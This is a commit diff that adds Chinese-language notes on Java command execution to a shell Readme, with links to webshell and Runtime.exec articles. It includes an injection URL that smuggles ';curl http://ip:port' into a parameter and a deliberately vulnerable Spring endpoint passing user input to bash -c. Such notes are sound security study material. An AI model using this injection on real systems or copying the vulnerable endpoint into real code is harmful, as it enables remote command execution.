Skip to content

Commit 73363fe

Browse files
authored
Update Readme.md
1 parent d318fd0 commit 73363fe

1 file changed

Lines changed: 26 additions & 0 deletions

File tree

shell/Readme.md

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,3 +5,29 @@
55
66

77
+ [一种新型Java一句话木马的实现](https://xz.aliyun.com/t/9715)
8+
9+
## 命令执行的tips
10+
11+
https://www.anquanke.com/post/id/243329
12+
13+
https://xz.aliyun.com/t/7046
14+
15+
**其实说到底是java.lang.Runtime#exec(string)一个对命令进行了空格切分(导致切分不合本意),另一个string[]是自己去分离可以执行**
16+
17+
下面代码是可以执行的
18+
19+
/cmd?command=;curl http://ip:port
20+
21+
```java
22+
@GetMapping(value = "/cmd")
23+
public void cmd(@RequestParam String command) throws Exception {
24+
String[] c = { "/bin/bash","-c", "hacker "+ command };///bin/bash -c hacker;ls
25+
Process p = Runtime.getRuntime().exec(c);
26+
}
27+
```
28+
29+
下面是不能执行的
30+
```java
31+
Command = "ping 127.0.0.1"+request.getParameter("cmd");
32+
Runtime.getRuntime().exec(command);
33+
```

0 commit comments

Comments
 (0)